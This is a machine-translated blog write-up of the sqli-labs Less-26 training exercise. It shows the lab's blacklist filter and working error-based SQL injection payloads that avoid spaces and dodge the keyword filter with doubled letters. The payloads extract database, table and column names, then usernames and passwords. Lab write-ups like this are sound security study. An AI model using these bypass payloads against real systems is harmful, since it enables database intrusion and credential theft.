当前位置:网站首页>SQL injection less26 (filter spaces and comments, and use error injection without spaces)
SQL injection less26 (filter spaces and comments, and use error injection without spaces)
2022-07-28 12:15:00 【Hua Weiyun】
function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;}Try to bypass spaces
Replace blank space :
(1)mysql Blank character :%09、%0A、%0B、%0D、%20、%0C、%A0、/**/(2) Regular whitespace :%09、%0A、%0B、%0D、%2025% Is a percent sign ,%25A0 It's a blank character %09——TAB key ( level )%0a—— Create a new line %0c—— A new page %0d return function %0b——TAB key ( vertical )%a0—— Space == Inline comments are often used to bypass spaces ==
I tried , Found that you can't bypass the space
because Windows You cannot use some special characters to replace spaces ,Linux Sure , You can go to Linux Next try
Injection method without spaces ( An error injection )
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26 yes & Of url code .
because and There must be a space before and after , So use &&
however && It cannot be submitted to the server normally , So we have to input his url code %26%26 Talent .
use || It's fine too , Better to use
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
== Notice that the statement is wrapped in parentheses , Around the space ==
Parenthesis () Separate the parts of each query 
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
This problem , Error injection has also occurred before , There may be more Limit 0,1 As a result, the whole statement cannot be formed
It could also be here (table_schema="security"%26%26table_name="users") There is a problem
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- Distributed system (III) construction of distributed transaction service
- Interpretation of the paper: attention mechanism in medical images
- Modify the running container port mapping
- 易观分析:以用户为中心提升手机银行用户体验,助力用户价值增长
- PHP date time application: add or subtract the number of days of a specific date
- SQL注入 Less18(头部注入+报错注入)
- Use Baidu PaddlePaddle easydl to complete garbage classification
- boost官网搜索引擎项目详解
- 使用百度飞桨 EasyDL 完成垃圾分类
- Skiasharp's WPF self drawn drag ball (case version)
猜你喜欢
随机推荐
Static proxy instance
瑞吉外卖——Day01
Notes on using objectanimator
Gecko competition 2.0 is new! Come and show your flexible operation skills!
Code simplification
[leetcode] 8. binary search · binary search
Latex矩阵简单使用
CentOS 7 install MySQL 5.7 & uninstall MySQL 5.7
IRBuilder
Lua middle__ index、__ Understanding of newindex, rawget and rawset
Hcip day 1
Business visualization - make your flowchart'run'(4. Actual business scenario test)
laravel表单数据验证
Hcip rip comprehensive experiment
SQL注入 Less18(头部注入+报错注入)
Application of mobile face stylization Technology
Know the optical fiber interface and supporting optical fiber cable of can optical fiber converter in fire alarm networking
Force buckle 7_ 1672. Total assets of the richest customers
2022.07.08 summer training personal qualifying (III)
Unity遇坑记之 ab包卸载失败





![[leetcode] 6. invert binary tree](/img/1b/fdc5f8904bca319ffc97411213afe8.jpg)


